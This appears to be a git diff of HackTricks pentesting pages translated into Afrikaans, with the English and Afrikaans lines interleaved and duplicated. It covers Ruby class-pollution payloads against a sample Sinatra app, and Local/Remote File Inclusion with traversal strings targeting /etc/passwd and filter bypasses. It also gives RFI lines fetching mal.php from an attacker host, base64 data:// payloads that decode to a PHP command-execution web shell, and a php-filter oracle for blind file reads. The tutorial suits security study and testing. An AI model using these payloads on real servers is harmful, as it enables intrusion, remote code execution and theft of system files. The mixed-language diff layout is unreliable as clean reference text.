In die volgende voorbeeld is dit moontlik om die klas **`Person`** te vind, en die klasse **`Admin`** en **`Regular`** wat van die **`Person`** klas erf. Dit het ook 'n ander klas genaamd **`KeySigner`**:
```ruby
require 'json'
require 'sinatra/base'
@ -263,158 +256,152 @@ require 'net/http'
# Base class for both Admin and Regular users
class Person
@@url = "http://default-url.com"
@@url = "http://default-url.com"
attr_accessor :name, :age, :details
attr_accessor :name, :age, :details
def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end
def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end
def self.url
@@url
end
def self.url
@@url
end
# Method to merge additional data into the object
def merge_with(additional)
recursive_merge(self, additional)
end
# Method to merge additional data into the object
def merge_with(additional)
recursive_merge(self, additional)
end
private
private
# Recursive merge to modify instance variables
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|
if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
original
end
# Recursive merge to modify instance variables
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|
if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
original
end
end
class User < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
end
# A class created to simulate signing with a key, to be infected with the third gadget
class KeySigner
@@signing_key = "default-signing-key"
@@signing_key = "default-signing-key"
def self.signing_key
@@signing_key
end
def self.signing_key
@@signing_key
end
def sign(signing_key, data)
"#{data}-signed-with-#{signing_key}"
end
def sign(signing_key, data)
"#{data}-signed-with-#{signing_key}"
end
end
class JSONMergerApp < Sinatra::Base
# POST /merge - Infects class variables using JSON input
post '/merge' do
content_type :json
json_input = JSON.parse(request.body.read)
# POST /merge - Infects class variables using JSON input
post '/merge' do
content_type :json
json_input = JSON.parse(request.body.read)
user = User.new(
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
)
user = User.new(
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
)
user.merge_with(json_input)
user.merge_with(json_input)
{ status: 'merged' }.to_json
end
{ status: 'merged' }.to_json
end
# GET /launch-curl-command - Activates the first gadget
get '/launch-curl-command' do
content_type :json
# GET /launch-curl-command - Activates the first gadget
get '/launch-curl-command' do
content_type :json
# This gadget makes an HTTP request to the URL stored in the User class
if Person.respond_to?(:url)
url = Person.url
response = Net::HTTP.get_response(URI(url))
{ status: 'HTTP request made', url: url, response_body: response.body }.to_json
else
{ status: 'Failed to access URL variable' }.to_json
end
end
# This gadget makes an HTTP request to the URL stored in the User class
if Person.respond_to?(:url)
url = Person.url
response = Net::HTTP.get_response(URI(url))
{ status: 'HTTP request made', url: url, response_body: response.body }.to_json
else
{ status: 'Failed to access URL variable' }.to_json
end
end
# Curl command to infect User class URL:
# curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://example.com"}}}' http://localhost:4567/merge
# Curl command to infect User class URL:
# curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://example.com"}}}' http://localhost:4567/merge
# GET /sign_with_subclass_key - Signs data using the signing key stored in KeySigner
get '/sign_with_subclass_key' do
content_type :json
# GET /sign_with_subclass_key - Signs data using the signing key stored in KeySigner
get '/sign_with_subclass_key' do
content_type :json
# This gadget signs data using the signing key stored in KeySigner class
signer = KeySigner.new
signed_data = signer.sign(KeySigner.signing_key, "data-to-sign")
# This gadget signs data using the signing key stored in KeySigner class
signer = KeySigner.new
signed_data = signer.sign(KeySigner.signing_key, "data-to-sign")
{ status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_json
end
{ status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_json
end
# Curl command to infect KeySigner signing key (run in a loop until successful):
# for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge; done
# Curl command to infect KeySigner signing key (run in a loop until successful):
# for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge; done
# GET /check-infected-vars - Check if all variables have been infected
get '/check-infected-vars' do
content_type :json
# GET /check-infected-vars - Check if all variables have been infected
get '/check-infected-vars' do
content_type :json
{
user_url: Person.url,
signing_key: KeySigner.signing_key
}.to_json
end
{
user_url: Person.url,
signing_key: KeySigner.signing_key
}.to_json
end
run! if app_file == $0
run! if app_file == $0
end
```
### Giftige Ouer Klas
### Poison Parent Class
With this payload:
Met hierdie payload:
```bash
curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://malicious.com"}}}' http://localhost:4567/merge
```
Dit is moontlik om die waarde van die **`@@url`** attribuut van die ouer klas **`Person`** te wysig.
It's possible to modify the value of the **`@@url`** attribute of the parent class **`Person`**.
### **Poisoning Other Classes**
With this payload:
### **Besoedeling van Ander Klasse**
Met hierdie payload:
```bash
for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge --silent > /dev/null; done
```
Dit is moontlik om die gedefinieerde klasse te brute-force en op 'n sekere punt die klas **`KeySigner`** te besoedel deur die waarde van `signing_key` te verander na `injected-signing-key`.\
It's possible to brute-force the defined classes and at some point poison the class **`KeySigner`** modifying the value of `signing_key` by `injected-signing-key`.\
## References
## Verwysings
- [https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,149 +1,130 @@
# File Inclusion/Path traversal
# Bestandsinsluiting/Pad traversering
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en bug bounty jagters te kommunikeer!
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**Hacking Inligting**\
Betrek met inhoud wat die opwinding en uitdagings van hacking ondersoek
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**Regstydse Hack Nuus**\
Bly op hoogte van die vinnige hacking wêreld deur regstydse nuus en insigte
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**Laaste Aankondigings**\
Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
**Sluit by ons aan op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
## File Inclusion
## Bestandsinsluiting
**Remote File Inclusion (RFI):** The file is loaded from a remote server (Best: You can write the code and the server will execute it). In php this is **disabled** by default (**allow_url_include**).\
**Local File Inclusion (LFI):** The sever loads a local file.
**Afgeleë Bestandsinsluiting (RFI):** Die lêer word van 'n afgeleë bediener gelaai (Beste: Jy kan die kode skryf en die bediener sal dit uitvoer). In php is dit **deaktiviseer** per standaard (**allow_url_include**).\
**Plaaslike Bestandsinsluiting (LFI):** Die bediener laai 'n plaaslike lêer.
The vulnerability occurs when the user can control in some way the file that is going to be load by the server.
Die kwesbaarheid ontstaan wanneer die gebruiker op een of ander manier die lêer kan beheer wat deur die bediener gelaai gaan word.
Vulnerable **PHP functions**: require, require_once, include, include_once
Kwetsbare **PHP funksies**: require, require_once, include, include_once
A interesting tool to exploit this vulnerability: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Blind - Interesting - LFI2RCE files
'n Interessante hulpmiddel om hierdie kwesbaarheid te benut: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Blind - Interessant - LFI2RCE lêers
```python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
```
### **Linux**
**Mixing several \*nix LFI lists and adding more paths I have created this one:**
**Deur verskeie \*nix LFI lysies te meng en meer paaie by te voeg, het ek hierdie een geskep:**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
Try also to change `/` for `\`\
Try also to add `../../../../../`
Probeer ook om `/` te verander na `\`\
Probeer ook om `../../../../../` by te voeg.
A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
'n Lys wat verskeie tegnieke gebruik om die lêer /etc/password te vind (om te kyk of die kwesbaarheid bestaan) kan [hier](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) gevind word.
### **Windows**
Merge of different wordlists:
Samevoeging van verskillende woordlyste:
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
Try also to change `/` for `\`\
Try also to remove `C:/` and add `../../../../../`
Probeer ook om `/` te verander na `\`\
Probeer ook om `C:/` te verwyder en `../../../../../` by te voeg.
A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
'n Lys wat verskeie tegnieke gebruik om die lêer /boot.ini te vind (om te kyk of die kwesbaarheid bestaan) kan [hier](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) gevind word.
### **OS X**
Check the LFI list of linux.
Kontroleer die LFI lys van linux.
## Basic LFI and bypasses
All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
## Basiese LFI en omseilings
Al die voorbeelde is vir Local File Inclusion, maar kan ook op Remote File Inclusion toegepas word (bladsy=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
```
http://example.com/index.php?page=../../../etc/passwd
```
### traversal sequences stripped non-recursively
### traverseringsekwensies nie-recursief verwyder
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null byte (%00)**
Bypass the append more chars at the end of the provided string (bypass of: $\_GET\['param']."php")
Om die byvoeging van meer karakters aan die einde van die verskafde string te omseil (omseiling van: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
Dit is **opgelos sedert PHP 5.4**
This is **solved since PHP 5.4**
### **Encoding**
You could use non-standard encondings like double URL encode (and others):
### **Kodering**
Jy kan nie-standaard kodering soos dubbele URL-kodering (en ander) gebruik:
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
### Van bestaande gids
### From existent folder
Maybe the back-end is checking the folder path:
Miskien kyk die agterkant na die gids pad:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Verkenning van Lêerstelsels op 'n Bediening
### Exploring File System Directories on a Server
The file system of a server can be explored recursively to identify directories, not just files, by employing certain techniques. This process involves determining the directory depth and probing for the existence of specific folders. Below is a detailed method to achieve this:
1. **Determine Directory Depth:** Ascertain the depth of your current directory by successfully fetching the `/etc/passwd` file (applicable if the server is Linux-based). An example URL might be structured as follows, indicating a depth of three:
Die lêerstelsel van 'n bediener kan herhalend verken word om directories te identifiseer, nie net lêers nie, deur sekere tegnieke toe te pas. Hierdie proses behels die bepaling van die directory diepte en die ondersoek na die bestaan van spesifieke vouers. Hieronder is 'n gedetailleerde metode om dit te bereik:
1. **Bepaal Directory Diepte:** Bepaal die diepte van jou huidige directory deur suksesvol die `/etc/passwd` lêer op te haal (van toepassing as die bediener op Linux gebaseer is). 'n Voorbeeld-URL kan as volg gestruktureer wees, wat 'n diepte van drie aandui:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **Probe for Folders:** Append the name of the suspected folder (e.g., `private`) to the URL, then navigate back to `/etc/passwd`. The additional directory level requires incrementing the depth by one:
2. **Dienste vir Gidsen:** Voeg die naam van die vermoedelike gids (bv. `private`) by die URL, en navigeer dan terug na `/etc/passwd`. Die ekstra gidsvlak vereis dat die diepte met een verhoog word:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **Interpret die Resultate:** Die bediener se antwoord dui aan of die gids bestaan:
- **Fout / Geen Uitset:** Die gids `private` bestaan waarskynlik nie op die gespesifiseerde plek nie.
- **Inhoud van `/etc/passwd`:** Die teenwoordigheid van die `private` gids word bevestig.
4. **Recursiewe Verkenning:** Ontdekte gidse kan verder ondersoek word vir subgidse of lêers met dieselfde tegniek of tradisionele Local File Inclusion (LFI) metodes.
3. **Interpret the Outcomes:** The server's response indicates whether the folder exists:
- **Error / No Output:** The folder `private` likely does not exist at the specified location.
- **Contents of `/etc/passwd`:** The presence of the `private` folder is confirmed.
4. **Recursive Exploration:** Discovered folders can be further probed for subdirectories or files using the same technique or traditional Local File Inclusion (LFI) methods.
For exploring directories at different locations in the file system, adjust the payload accordingly. For instance, to check if `/var/www/` contains a `private` directory (assuming the current directory is at a depth of 3), use:
Vir die verkenning van gidse op verskillende plekke in die lêerstelsel, pas die payload dienooreenkomstig aan. Byvoorbeeld, om te kyk of `/var/www/` 'n `private` gids bevat (aannemende dat die huidige gids op 'n diepte van 3 is), gebruik:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Pad Afkorting Tegniek**
### **Path Truncation Technique**
Pad afkorting is 'n metode wat gebruik word om lêer pades in webtoepassings te manipuleer. Dit word dikwels gebruik om beperkte lêers te bekom deur sekere sekuriteitsmaatreëls te omseil wat addisionele karakters aan die einde van lêer pades voeg. Die doel is om 'n lêer pad te skep wat, sodra dit deur die sekuriteitsmaatreël verander word, steeds na die gewenste lêer wys.
Path truncation is a method employed to manipulate file paths in web applications. It's often used to access restricted files by bypassing certain security measures that append additional characters to the end of file paths. The goal is to craft a file path that, once altered by the security measure, still points to the desired file.
In PHP kan verskeie voorstellings van 'n lêer pad as gelyk beskou word weens die aard van die lêerstelsel. Byvoorbeeld:
In PHP, various representations of a file path can be considered equivalent due to the nature of the file system. For instance:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path.
- When the last 6 characters are `passwd`, appending a `/` (making it `passwd/`) doesn't change the targeted file.
- Similarly, if `.php` is appended to a file path (like `shellcode.php`), adding a `/.` at the end will not alter the file being accessed.
The provided examples demonstrate how to utilize path truncation to access `/etc/passwd`, a common target due to its sensitive content (user account information):
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, en `/etc/passwd/` word almal as dieselfde pad hanteer.
- Wanneer die laaste 6 karakters `passwd` is, verander die toevoeging van 'n `/` (wat dit `passwd/` maak) nie die geteikende lêer nie.
- Op soortgelyke wyse, as `.php` aan 'n lêer pad (soos `shellcode.php`) gevoeg word, sal die toevoeging van `/.` aan die einde nie die lêer wat toegang verkry nie, verander.
Die verskafde voorbeelde demonstreer hoe om pad afkorting te gebruik om toegang te verkry tot `/etc/passwd`, 'n algemene teiken weens sy sensitiewe inhoud (gebruikersrekeninginligting):
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -153,19 +134,17 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
In hierdie scenario's mag die aantal traversals wat nodig is rondom 2027 wees, maar hierdie getal kan wissel op grond van die bediener se konfigurasie.
In these scenarios, the number of traversals needed might be around 2027, but this number can vary based on the server's configuration.
- **Gebruik van Punt Segmente en Bykomende Karakters**: Traversal sekwensies (`../`) gekombineer met ekstra punt segmente en karakters kan gebruik word om die lêerstelsel te navigeer, wat effektief bygevoegde stringe deur die bediener ignoreer.
- **Bepaling van die Benodigde Aantal Traversals**: Deur middel van proef en fout kan 'n mens die presiese aantal `../` sekwensies vind wat nodig is om na die wortelgids te navigeer en dan na `/etc/passwd`, terwyl verseker word dat enige bygevoegde stringe (soos `.php`) geneutraliseer word, maar die gewenste pad (`/etc/passwd`) intakt bly.
- **Begin met 'n Vals Gids**: Dit is 'n algemene praktyk om die pad met 'n nie-bestaande gids (soos `a/`) te begin. Hierdie tegniek word gebruik as 'n voorsorgmaatreël of om aan die vereistes van die bediener se pad parsingslogika te voldoen.
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) combined with extra dot segments and characters can be used to navigate the file system, effectively ignoring appended strings by the server.
- **Determining the Required Number of Traversals**: Through trial and error, one can find the precise number of `../` sequences needed to navigate to the root directory and then to `/etc/passwd`, ensuring that any appended strings (like `.php`) are neutralized but the desired path (`/etc/passwd`) remains intact.
- **Starting with a Fake Directory**: It's a common practice to begin the path with a non-existent directory (like `a/`). This technique is used as a precautionary measure or to fulfill the requirements of the server's path parsing logic.
Wanneer pad truncasie tegnieke toegepas word, is dit van kardinale belang om die bediener se pad parsingsgedrag en lêerstelselstruktuur te verstaan. Elke scenario mag 'n ander benadering vereis, en toetsing is dikwels nodig om die mees effektiewe metode te vind.
When employing path truncation techniques, it's crucial to understand the server's path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method.
**This vulnerability was corrected in PHP 5.3.**
### **Filter bypass tricks**
**Hierdie kwesbaarheid is reggestel in PHP 5.3.**
### **Filter omseil truuks**
```
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
@ -173,59 +152,47 @@ http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
```
## Afgeleë Lêer Insluiting
## Remote File Inclusion
In php this is disable by default because **`allow_url_include`** is **Off.** It must be **On** for it to work, and in that case you could include a PHP file from your server and get RCE:
In php is dit standaard gedeaktiveer omdat **`allow_url_include`** is **Af.** Dit moet **Aan** wees vir dit om te werk, en in daardie geval kan jy 'n PHP-lêer van jou bediener insluit en RCE verkry:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
If for some reason **`allow_url_include`** is **On**, but PHP is **filtering** access to external webpages, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), you could use for example the data protocol with base64 to decode a b64 PHP code and egt RCE:
As dit om een of ander rede **`allow_url_include`** is **Aan**, maar PHP **filter** toegang tot eksterne webbladsye, [volgens hierdie pos](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), kan jy byvoorbeeld die data-protokol met base64 gebruik om 'n b64 PHP-kode te dekodeer en RCE te verkry:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!NOTE]
> In the previous code, the final `+.txt` was added because the attacker needed a string that ended in `.txt`, so the string ends with it and after the b64 decode that part will return just junk and the real PHP code will be included (and therefore, executed).
Another example **not using the `php://` protocol** would be:
> In die vorige kode is die finale `+.txt` bygevoeg omdat die aanvaller 'n string nodig gehad het wat in `.txt` eindig, so die string eindig daarmee en na die b64 dekodeer sal daardie deel net rommel teruggee en die werklike PHP-kode sal ingesluit word (en dus, uitgevoer word).
Nog 'n voorbeeld **wat nie die `php://` protokol gebruik nie** sou wees:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
## Python Wortel element
## Python Root element
In python in a code like this one:
In python in 'n kode soos hierdie:
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
If the user passes an **absolute path** to **`file_name`**, the **previous path is just removed**:
As die gebruiker 'n **absolute pad** na **`file_name`** deurgee, word die **vorige pad net verwyder**:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
Dit is die bedoelde gedrag volgens [die dokumentasie](https://docs.python.org/3.10/library/os.path.html#os.path.join):
It is the intended behaviour according to [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
> As 'n komponent 'n absolute pad is, word alle vorige komponente weggegooi en gaan die aansluiting voort vanaf die absolute padkomponent.
> If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component.
## Java Lys Gidsen
## Java List Directories
It looks like if you have a Path Traversal in Java and you **ask for a directory** instead of a file, a **listing of the directory is returned**. This won't be happening in other languages (afaik).
Dit lyk of as jy 'n Pad Traversal in Java het en jy **vra vir 'n gids** in plaas van 'n lêer, 'n **lys van die gids teruggegee word**. Dit sal nie in ander tale gebeur nie (sover ek weet).
## Top 25 parameters
Heres list of top 25 parameters that could be vulnerable to local file inclusion (LFI) vulnerabilities (from [link](https://twitter.com/trbughunters/status/1279768631845494787)):
Hier is 'n lys van die top 25 parameters wat kwesbaar kan wees vir plaaslike lêerinvoeging (LFI) kwesbaarhede (van [skakel](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
@ -253,41 +220,39 @@ Heres list of top 25 parameters that could be vulnerable to local file inclus
?mod={payload}
?conf={payload}
```
## LFI / RFI using PHP wrappers & protocols
## LFI / RFI met PHP wrappers & protokolle
### php://filter
PHP filters allow perform basic **modification operations on the data** before being it's read or written. There are 5 categories of filters:
PHP-filters laat basiese **wysigingsoperasies op die data** toe voordat dit gelees of geskryf word. Daar is 5 kategorieë filters:
- [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13`
- `string.toupper`
- `string.tolower`
- `string.strip_tags`: Remove tags from the data (everything between "<" and ">" chars)
- Note that this filter has disappear from the modern versions of PHP
- `string.rot13`
- `string.toupper`
- `string.tolower`
- `string.strip_tags`: Verwyder tags van die data (alles tussen "<" en ">" karakters)
- Let daarop dat hierdie filter uit die moderne weergawes van PHP verdwyn het
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
- `convert.iconv.*` : Transforms to a different encoding(`convert.iconv.<input_enc>.<output_enc>`) . To get the **list of all the encodings** supported run in the console: `iconv -l`
- `convert.base64-encode`
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
- `convert.iconv.*` : Transformeer na 'n ander kodering (`convert.iconv.<input_enc>.<output_enc>`). Om die **lys van alle ondersteunde kodering** te kry, voer in die konsole in: `iconv -l`
> [!WARNING]
> Abusing the `convert.iconv.*` conversion filter you can **generate arbitrary text**, which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
> Deur die `convert.iconv.*` omskakelingsfilter te misbruik, kan jy **arbitraire teks genereer**, wat nuttig kan wees om arbitraire teks te skryf of 'n funksie soos insluitingsproses arbitraire teks te maak. Vir meer inligting, kyk na [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: Compress the content (useful if exfiltrating a lot of info)
- `zlib.inflate`: Decompress the data
- `zlib.deflate`: Komprimeer die inhoud (nuttig as jy baie inligting uitbring)
- `zlib.inflate`: Decomprimeer die data
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : Deprecated
- `mdecrypt.*` : Deprecated
- Other Filters
- Running in php `var_dump(stream_get_filters());` you can find a couple of **unexpected filters**:
- `consumed`
- `dechunk`: reverses HTTP chunked encoding
- `convert.*`
- `mcrypt.*` : Verouderd
- `mdecrypt.*` : Verouderd
- Ander Filters
- Deur in php `var_dump(stream_get_filters());` te loop, kan jy 'n paar **onverwagte filters** vind:
- `consumed`
- `dechunk`: keer HTTP chunked kodering om
- `convert.*`
```php
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
@ -314,44 +279,40 @@ echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
```
> [!WARNING]
> The part "php://filter" is case insensitive
> Die deel "php://filter" is nie hooflettergevoelig nie
### Using php filters as oracle to read arbitrary files
### Gebruik php filters as orakel om arbitrêre lêers te lees
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) is proposed a technique to read a local file without having the output given back from the server. This technique is based on a **boolean exfiltration of the file (char by char) using php filters** as oracle. This is because php filters can be used to make a text larger enough to make php throw an exception.
[**In hierdie pos**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) word 'n tegniek voorgestel om 'n plaaslike lêer te lees sonder om die uitvoer van die bediener terug te ontvang. Hierdie tegniek is gebaseer op 'n **booleaanse eksfiltrasie van die lêer (karakter vir karakter) met behulp van php filters** as orakel. Dit is omdat php filters gebruik kan word om 'n teks groot genoeg te maak sodat php 'n uitsondering kan gooi.
In the original post you can find a detailed explanation of the technique, but here is a quick summary:
In die oorspronklike pos kan jy 'n gedetailleerde verduideliking van die tegniek vind, maar hier is 'n vinnige opsomming:
- Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially.
- This will be used to generate a **text so big when the initial letter is guessed correctly** that php will trigger an **error**
- The **dechunk** filter will **remove everything if the first char is not an hexadecimal**, so we can know if the first char is hex.
- This, combined with the previous one (and other filters depending on the guessed letter), will allow us to guess a letter at the beggining of the text by seeing when we do enough transformations to make it not be an hexadecimal character. Because if hex, dechunk won't delete it and the initial bomb will make php error.
- The codec **convert.iconv.UNICODE.CP930** transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an `a` for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb.
- Using other transformations like **rot13** at the beginning its possible to leak other chars like n, o, p, q, r (and other codecs can be used to move other letters to the hex range).
- When the initial char is a number its needed to base64 encode it and leak the 2 first letters to leak the number.
- The final problem is to see **how to leak more than the initial letter**. By using order memory filters like **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** is possible to change the order of the chars and get in the first position other letters of the text.
- And in order to be able to obtain **further data** the idea if to **generate 2 bytes of junk data at the beginning** with **convert.iconv.UTF16.UTF16**, apply **UCS-4LE** to make it **pivot with the next 2 bytes**, and d**elete the data until the junk data** (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak.
- Gebruik die kodek **`UCS-4LE`** om die voorste karakter van die teks aan die begin te laat en maak die grootte van die string eksponensieel groter.
- Dit sal gebruik word om 'n **teks so groot te genereer wanneer die aanvanklike letter korrek geraai word** dat php 'n **fout** sal veroorsaak.
- Die **dechunk** filter sal **alles verwyder as die eerste karakter nie 'n hexadesimale is nie**, sodat ons kan weet of die eerste karakter hex is.
- Dit, gekombineer met die vorige een (en ander filters afhangende van die geraaide letter), sal ons in staat stel om 'n letter aan die begin van die teks te raai deur te sien wanneer ons genoeg transformasies doen om dit nie 'n hexadesimale karakter te maak nie. Want as dit hex is, sal dechunk dit nie verwyder nie en die aanvanklike bom sal 'n php-fout veroorsaak.
- Die kodek **convert.iconv.UNICODE.CP930** transformeer elke letter in die volgende een (so na hierdie kodek: a -> b). Dit stel ons in staat om te ontdek of die eerste letter 'n `a` is byvoorbeeld, want as ons 6 van hierdie kodek toepas a->b->c->d->e->f->g is die letter nie meer 'n hexadesimale karakter nie, daarom het dechunk dit nie verwyder nie en die php-fout word veroorsaak omdat dit met die aanvanklike bom vermenigvuldig.
- Deur ander transformasies soos **rot13** aan die begin te gebruik, is dit moontlik om ander karakters soos n, o, p, q, r te lek (en ander kodeks kan gebruik word om ander letters na die hex-reeks te beweeg).
- Wanneer die aanvanklike karakter 'n getal is, is dit nodig om dit in base64 te kodeer en die eerste 2 letters te lek om die getal te lek.
- Die finale probleem is om te sien **hoe om meer as die aanvanklike letter te lek**. Deur orde geheue filters soos **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** te gebruik, is dit moontlik om die volgorde van die karakters te verander en ander letters van die teks in die eerste posisie te kry.
